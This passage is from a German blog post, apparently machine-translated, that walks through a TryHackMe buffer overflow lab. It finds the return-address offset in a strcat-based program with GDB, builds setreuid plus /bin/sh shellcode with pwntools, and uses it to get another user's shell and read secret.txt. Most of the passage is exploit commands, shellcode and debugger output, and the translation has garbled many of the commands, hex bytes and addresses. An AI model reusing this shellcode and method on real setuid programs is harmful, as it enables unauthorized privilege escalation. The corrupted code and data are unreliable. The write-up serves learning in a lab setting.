[user1@ip-10-10-22-183 overflow-3] $ ./buffer-overflow $ (Python -c "-Druck '\ x90'*86+'\ x31 \ xff \ x66 \ xbf \ xea \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x0 5 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6 a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '*12+' \ x98 \ xe2 \ xff \ xff \ xff \ x7f '") Hier ist ein Programm, das Ihre Eingabe ausgibt.

Ich habe die Benutzer2 -Berechtigungen erfolgreich erfasst. (Als ich GDB verwendete, würde es als Benutzer bleiben. Wenn ich es ohne GDB ausgeführt hätte, wäre es möglich gewesen, es mit Benutzer2 auszuführen.)

Überprüfen Sie Secret.txt und Sie sind fertig!

SH-4.2 $ CAT Secret.txt Omgyudidthissocool !!

Antwort

Pufferüberlauf 2

Als nächstes kommt eine Überprüfung dessen, was bisher gemacht wurde.

Schauen wir uns zunächst die Quelle an c.

[User1@IP-10-10-10-232-238 Overflow-4] $ Cat Buffer-Overflow-2.c #include<stdio.h> #enthalten<stdlib.h> void concat_arg (char *string) {char buffer [154] = "doggo"; Strcat (Puffer, String); printf ("neues Wort ist %s \ n", Puffer); Rückkehr 0; } int main (int argc, char ** argv) {concat_arg (argv [1]); }

Strcat () ist eine Funktion, die einen Überlauf verursachen kann.
Ich denke, wir werden diesmal diesmal verwenden.

Lassen Sie es uns nun in GDB laufen.

[user1@ip-10-10-232-238 overflow-4] $ GDB Buffer-Overflow-2 GDB (GDB) Red Hat Enterprise Linux 8.0.1-30.AMZN2.0.3 Copyright (C) 2017 Free Software Foundation, Inc. Lizenz GPLV3+: GNU GPL Version 3 oder später später oder später oder später<http://gnu.org/licenses/gpl.html> Dies ist kostenlose Software: Sie können sie frei ändern und umverteilen. Es gibt keine Garantie, sofern dies gesetzlich zulässig ist. Geben Sie für Details "Copying" und "WARNUNG" Zeigen Sie auf. Dieses GDB wurde als "x86_64-redhat-linux-gnu" konfiguriert. Geben Sie "Konfiguration anzeigen" für Konfigurationsdetails ein. Für Anweisungen zur Fehlerberichterstattung finden Sie unter:<http://www.gnu.org/software/gdb/bugs/> . Finden Sie das GDB -Handbuch und andere Dokumentationsressourcen online unter:<http://www.gnu.org/software/gdb/documentation/> . Geben Sie "Hilfe" ein, um Hilfe zu erhalten. Geben Sie "APROPOS Word" ein, um nach Befehlen zu suchen, die sich mit "Wort" beziehen. (GDB) 

Es sollte wie Puffer (154)+Ausrichtungsbyte (??)+RBP (8) ausgeglichen werden.
Beginnen wir mit 154+8 = 162 Bytes.

(GDB) Run $ (Python -c "Print ('A'*162)") Das Programm wurde bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-4/buffer-overflow-2 $ (python -c "print ('a'*157)") Neues Wort ist Doggoaaaaaaa-Programm erhalten Signal Sigsegv, Segmentierungsfehler. 0x000000004005d3 in Main ()

Es gibt kein "41", also wurde es nicht überschrieben.

Ich habe gerade 164 Bytes betreten und es geleitet.

(GDB) Run $ (Python -c "Print ('A'*164)") Das Programm wurde bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-4/buffer-overflow-2 $ (python -c "print ('a'*164)") Neues Wort ist Doggoaaaaaaa-Programm erhalten Signal Sigsegv, Segmentierungsfehler. 0x00000000400041 in ?? ()

Es gibt "41", so dass es richtig überschrieben wurde.

Ich würde gerne das Ende der Rückgabeadresse kennen, also werde ich versuchen, 169 Bytes einzugeben.

(GDB) Run $ (Python -c "Print ('A'*169)") Das Programm wurde bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-4/buffer-overflow-2 $ (python -c "print ('a'*169)") Neues Wort ist Doggoaaaaaaa-Programm erhalten Signal Sigsegv, Segmentierungsfehler. 0x00004141414141 in ?? ()

Alles ist mit "41" gefüllt.
Um sicher zu gehen, versuchen Sie es mit 170 Bytes.

(GDB) Run $ (python -c "print ('a'*170)") Das Programm, das debugged wird, wurde bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-4/buffer-overflow-2 $ (python -c "print ('a'*170)") Neues Wort ist Doggoaaaaaaa-Programm erhalten Signal Sigsegv, Segmentierungsfehler. 0x000000004005ab in concat_arg ()

Ich mache zu viel, also benutze ich eine andere Adresse.
Jetzt wissen wir, dass 6 Bytes von 164 bis 169 die Rückgabedressen sind.

Die hexadezimale Version des Shellcode ist dieselbe wie zuvor.

\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xf \ x0f \ x05

Um dieses Geheimnis zu überprüfen.
Lassen Sie uns zunächst die UID von User3 überprüfen.

[user1@ip-10-10-232-238 overflow-4]$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin LP: x: 4: 7: lp:/var/spool/lpd:/sbin/nologin sync: x: 5: 0: sync:/sbin:/bin/sync stilldown: x: 6: 0: stilldown:/sbin:/sbin/stilldown: x: 7: 0: halt:/sbin:/sbin/SBIN/SBIN/SBIN/SBIN: Mail: x: 8: 12: mail:/var/spool/mail:/sbin/nologin operator: x: 11: 0: operator:/root:/sbin/nologin games: x: 12: 100: games:/usr/games:/sbin/nologin ftp: x: 14: 50: ftp user:/var/ftp:/sbin/nologin/nologin/nologin Niemand: x: 99: 99: Niemand:/:/sbin/nologin systemd-network: x: 192: 192: systemd network Management:/:/sbin/nologin dbus: x: 81: 81: system message bus:/:/sbin/nologin rpc: x: 32: 32: rpcbin:/rpcbin/sbin libstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpcuser:x:29:29:RPC Service Benutzer:/var/lib/nfs:/sbin/nologin nfsnobody: x: 65534: 65534: anonymous nfs user:/var/lib/nfs:/sbin/nologin ec2-i-instance-connect: x: 998: 996 ::/home/ec2-instance-instance:/sbin/sbin/sbin/sbin/sbin/sbin/sbin/nologin: postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin tcpdump:x:72:72::/sbin/nologin ec2-user:x:1000:1000:EC2 Default Benutzer:/home/ec2-user:/bin/bash user1: x: 1001: 1001 ::/home/user1:/bin/bash user2: x: 1002: 1002 ::/home/user2:/bin/bash user3: x: 1003: 1003 ::/home/user3:/bin/bash/bash/bash

Die UID von User3 beträgt 1003.
Mit PWNTOOLS generieren wir den Hexadezimalcode für den Teil setReuid ().

┌── (hacklab㉿hackLab) -[~] └─ $ pwn Shellcraft -fd AMD64.Linux.setReuid 1003 \ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xFe \ x05 \ x05 \ x05 \ x48 \ x89 \ xf \ x05 \ x48 \ x89 \ xf \ x05 \ x05 \ x48 \ x89 \ xfle

Der endgültige Code sieht so aus:
Er sind insgesamt 54 Bytes.

\ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x 05 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x 57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05

Als nächstes werden wir die Adresse des hexadezimalen Shellcode nachschlagen.
Stellen Sie sicher, dass Junk (87Byte) + Shellcode (54Byte) + Junk (22Byte) + Rückgabeadresse (6Byte) = 169Byte.
Fügen Sie NOP (\ x90) im Voraus im Müll vor dem Shellcode hinzu.

(GDB) Rennen Sie $ (Python -c "-Druck '\ x90'*87+'\ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x05 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+' a '*22+' b '*6 ") Das Programm wurde bereits gestartet. Von Anfang an beginnen? (y oder n) y Startprogramm:/home/user1/overflow-4/buffer-overflow-2 $ (Python -c "Druck '\ x90'*87+'\ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x05 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+' a '*22+' b '*6 ") Neues Wort ist doggo1Fjqxhj; xh1i // bin/shiaphrwhJj

Die Absenderadresse lautet "B", daher ist sie mit "42" gefüllt.
Den Speicherort ablegen.

. 0x90909090 0x909090 0x909090 0x909090 0x7fffffffffe248: 0x90909090 0x909090 0x7fffffffffe248: 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x7fffffffe258: 0x909090 0x9090 0x909090 0x909090 0x909090 0x7fffffffffffffe268: 0x9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090000000000 sich 0x7FFFFFFFFFFFE278: 0x909090 0x909090 0x909090 0x7FFFFFFFFFFFFE278: 0x909090 0x9090 0x909090 0x7fffffffe288: 0x909090 0xbf666661. 0xFe894858 0x7fffffffffffe298: 0x3b6a050f 0xd2314858 0x2f2fb849 0x2f6e6962 0x7ffffffFFFFFFFFFE2A8: 0xc1496873 0x504108e8 0x52a78948 0xe6894108e8 0x7fffffffe2b8: 0x3c6a050f 0xff314858 0x4141050f 0x414141 0x7fffffffe2c8: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe2d8: 0x424242 0x00004242 0xfffffe3d8 0x00007ffff 0x7fffffffe2e8: 0x0000000 0x0000002 0x004005e0 0x0000000 0x7fffffffe2f8: 0xf7a4302a 0x00007ffff 0x0000000 0x000000 0x7fffffffe308: 0xffffe3d8 0x00007ffff 0x000040000 0x0000002 0x7fffffffffe318: 0x004005ac 0x000000 0x000000 0x000000 0x7fffffffffe328: 0x04bbf356 0x29eb8017 0x00400450 0x0000000 0x7fffffffe338: 0xffffe3d0 0x0000000 0x000000 0x7fffffffe348: 0x0000000 0x000000 0x7fffffffe348: 0x0000000 0x000000 0xc97bf356 0xd6147f68 0x7fffffffe358: 0x50bff356 0xd6146fdf 0x000000 0x000000 0x7fffffffe368: 0x0000000 0x000000 0x0000000 0x0000000 0x7fffffffe378: 0xfffffe3f0 0x000007ffff 0xf7fffe130 0x00007ffff 0x7fffffffe388: 0xf7de7656 0x00007ffff 0x0000000 0x0000000 0x7fffffffffffe398: 0x000000 0x0000000 0x0000000

In der zweiten Spalte von 0x7fffffffffe288 befindet sich ein Shellcode.

Überall, wo Sie mit NOP füllen, ist es in Ordnung, aber diesmal machen wir "0x7fffffffe288" das Rückgabeziel.
Setzen Sie B auf die Rückgabeadresse: 0x7fffffffffe288 ⇒ 0x88e2ffffffff7f ⇒ \ x88 \ xe2 \ xff \ xff \ xff \ x7f.

[User1@IP-10-10-10-232-238 Overflow-4] $ ./Buffer-Overflow-2 $ (Python -c "Druck '\ x90'*87+'\ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x0 5 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6 a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '*22+' \ x88 \ xe2 \ xff \ xff \ xff \ x7f '") Neues Wort ist doggo1Fjqxhj; xh1i // bin/shiaphrwhj

Ich konnte die Shell von User3 erfolgreich erhalten.
Schließlich überprüfen Sie Secret.txt.

SH-4.2 $ CAT Secret.txt WowanOthertime !!

Antwort

Zusammenfassung

Diesmal habe ich tatsächlich einen Pufferüberlauf ausprobiert.
Um ehrlich zu sein, verstehe ich den Gedächtnismechanismus immer noch nicht, aber ich denke, ich verstehe, wie ich überlaufen kann.

Referenzen und Websites

Der Bob Loblaw-Blog: https://bobloblaw321.wixsite.com/website/post/tryhackme-buffer-overflows
l1ge's Kabine: https://l1ge.github.io/tryhackme_bof1/

Teilen Sie, wenn Sie möchten!

Wer hat diesen Artikel geschrieben

Dies ist ein Blog, in dem ich angefangen habe, Informationssicherheit zu studieren. Als neuer Angestellter würde ich mich freuen, wenn Sie mit einem breiten Herzen schauen könnten.
Es gibt auch Teech Lab, das eine Gelegenheit ist, Programmierspaß zu studieren. Wenn Sie also an der Softwareentwicklung interessiert sind, sollten Sie sich unbedingt ansehen!

Inhaltsverzeichnis